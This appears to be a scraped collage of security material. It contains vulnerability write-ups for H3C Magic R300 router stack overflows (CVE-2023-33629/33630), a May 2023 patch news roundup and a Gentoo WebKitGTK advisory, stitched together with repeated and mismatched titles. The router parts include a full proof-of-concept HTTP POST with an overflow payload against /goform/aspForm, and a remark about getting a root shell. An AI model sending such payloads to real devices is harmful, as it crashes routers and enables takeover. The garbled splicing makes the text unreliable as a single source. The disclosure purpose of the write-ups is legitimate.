aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33629: H3C Magic R300-2100M was discovered stack overflow via the DeltriggerList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the EditvsList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the EditvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the EditvsList interface at /goform/aspForm. ## Vulnerability Details In function EditvsList(sub\_461110),the size of local variable v8 is noly 20 bytes long.Parameters in the EditvsList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/EDd6YXO.png) !\[\](https://i.imgur.com/XbagQem.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/0cGTbgK.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2032 CMD=EditvsList&param=;;;;;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33630: H3C Magic R300-2100M was discovered stack overflow via the EditvsList interface at /goform/aspForm - HackMD

Plus: Microsoft patches two zero-day flaws, Google’s Android and Chrome get some much-needed updates, and more.

Apple, Google, and Microsoft have released major patches this month to fix multiple security flaws already being used in attacks. May was also a critical month for enterprise software, with GitLab, SAP, and Cisco releasing fixes for multiple bugs in their products.

Here’s everything you need to know about the security updates released in May.

Apple iOS and iPadOS 16.5

Apple has released its long-awaited point update iOS 16.5, addressing 39 issues, three of which are already being exploited in real-life attacks. The iOS upgrade patches vulnerabilities in the Kernel at the heart of the operating system and in WebKit, the engine that powers the Safari browser. The three already exploited flaws are among five fixed in WebKit—tracked as CVE-2023-32409, CVE-2023-28204, and CVE-2023-32373.

CVE-2023-32409 is an issue that could allow an attacker to break out of the Web Content sandbox remotely, reported by Clément Lecigne of Google's Threat Analysis Group and Donncha Ó Cearbhaill of Amnesty International’s Security Lab. CVE-2023-28204 is a flaw that risks a user disclosing sensitive information. Finally, CVE-2023-32373 is a use-after-free bug that could enable arbitrary code execution.

Earlier in the month, Apple released iOS 16.4.1 (a) and iPadOS 16.4.1 (a)—the iPhone maker’s first-ever Rapid Security Response update—fixing the latter two exploited WebKit vulnerabilities also patched in iOS 16.5.

Apple iOS and iPadOS 16.5 were issued alongside iOS 15.7.6 and iPadOS 15.7.6 for older iPhones, as well as iTunes 12.12.9 for Windows, Safari 16.5, macOS Big Sur 11.7.7, macOS Ventura 13.4, and macOS Monterey 12.6.6.

Apple also released its first security update for Beats and AirPods headphones.

Microsoft

Microsoft’s mid-month Patch Tuesday fixed 40 security issues, two of which were zero-day flaws already being used in attacks. The first zero-day vulnerability, CVE-2023-29336, is an elevation-of-privilege bug in the Win32k driver that could allow an attacker to gain System privileges.

The second serious flaw, CVE-2023-24932, is a Secure Boot security feature bypass issue that could allow a privileged attacker to execute code. “An attacker who successfully exploited this vulnerability could bypass Secure Boot,” Microsoft said, adding that the flaw is difficult to exploit: “Successful exploitation of this vulnerability requires an attacker to compromise admin credentials on the device.”

The security update is not a full fix: It addresses the vulnerability by updating the Windows Boot Manager, which could cause issues, the company warned. Additional steps are required at this time to mitigate the vulnerability, Microsoft said, pointing to steps affected users can take to mitigate the issue.

Google Android

Google has released its latest Android security patches, fixing 40 flaws, including an already exploited Kernel vulnerability. The updates also include fixes for issues in the Android Framework, System, Kernel, MediaTek, Unisoc, and Qualcomm components.

The most severe of these issues is a high-severity security vulnerability in the Framework component that could lead to local escalation of privilege, Google said, adding that user interaction is needed for exploitation.

Previously linked to commercial spyware vendors, CVE-2023-0266 is a Kernel issue that could lead to local escalation of privilege. User interaction is not needed for exploitation.

Apple's iOS 16.5 Fixes 3 Security Bugs Already Used in Attacks

Gentoo Linux Security Advisory 202305-32 - Multiple vulnerabilities have been found in WebkitGTK+, the worst of which could result in arbitrary code execution. Versions greater than or equal to 2.40.1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202305-32  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: WebKitGTK+: Multiple Vulnerabilities  
     Date: May 30, 2023  
     Bugs: #871732, #879571, #888563, #905346, #905349, #905351  
       ID: 202305-32

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been found in WebkitGTK+, the worst of  
which could result in arbitrary code execution.

Background  
=========  
WebKitGTK+ is a full-featured port of the WebKit rendering engine,  
suitable for projects requiring any kind of web integration, from hybrid  
HTML/CSS applications to full-fledged web browsers.

Affected packages  
================  
Package              Vulnerable    Unaffected  
-------------------  ------------  ------------  
net-libs/webkit-gtk  < 2.40.1      >= 2.40.1

Description  
==========  
Multiple vulnerabilities have been discovered in WebKitGTK+. Please  
review the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All WebKitGTK+ users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-2.40.1"

References  
=========  
[ 1 ] CVE-2022-32885  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32885  
[ 2 ] CVE-2022-32886  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32886  
[ 3 ] CVE-2022-32888  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32888  
[ 4 ] CVE-2022-32891  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32891  
[ 5 ] CVE-2022-32923  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32923  
[ 6 ] CVE-2022-42799  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42799  
[ 7 ] CVE-2022-42823  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42823  
[ 8 ] CVE-2022-42824  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42824  
[ 9 ] CVE-2022-42826  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42826  
[ 10 ] CVE-2022-42852  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42852  
[ 11 ] CVE-2022-42856  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42856  
[ 12 ] CVE-2022-42863  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42863  
[ 13 ] CVE-2022-42867  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42867  
[ 14 ] CVE-2022-46691  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46691  
[ 15 ] CVE-2022-46692  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46692  
[ 16 ] CVE-2022-46698  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46698  
[ 17 ] CVE-2022-46699  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46699  
[ 18 ] CVE-2022-46700  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46700  
[ 19 ] CVE-2023-23517  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23517  
[ 20 ] CVE-2023-23518  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23518  
[ 21 ] CVE-2023-23529  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23529  
[ 22 ] CVE-2023-25358  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25358  
[ 23 ] CVE-2023-25360  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25360  
[ 24 ] CVE-2023-25361  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25361  
[ 25 ] CVE-2023-25362  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25362  
[ 26 ] CVE-2023-25363  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25363  
[ 27 ] CVE-2023-27932  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27932  
[ 28 ] CVE-2023-27954  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27954  
[ 29 ] CVE-2023-28205  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28205  
[ 30 ] WSA-2022-0009  
      https://webkitgtk.org/security/WSA-2022-0009.html  
[ 31 ] WSA-2022-0010  
      https://webkitgtk.org/security/WSA-2022-0010.html  
[ 32 ] WSA-2023-0001  
      https://webkitgtk.org/security/WSA-2023-0001.html  
[ 33 ] WSA-2023-0002  
      https://webkitgtk.org/security/WSA-2023-0002.html  
[ 34 ] WSA-2023-0003  
      https://webkitgtk.org/security/WSA-2023-0003.html

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202305-32

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Tag

#webkit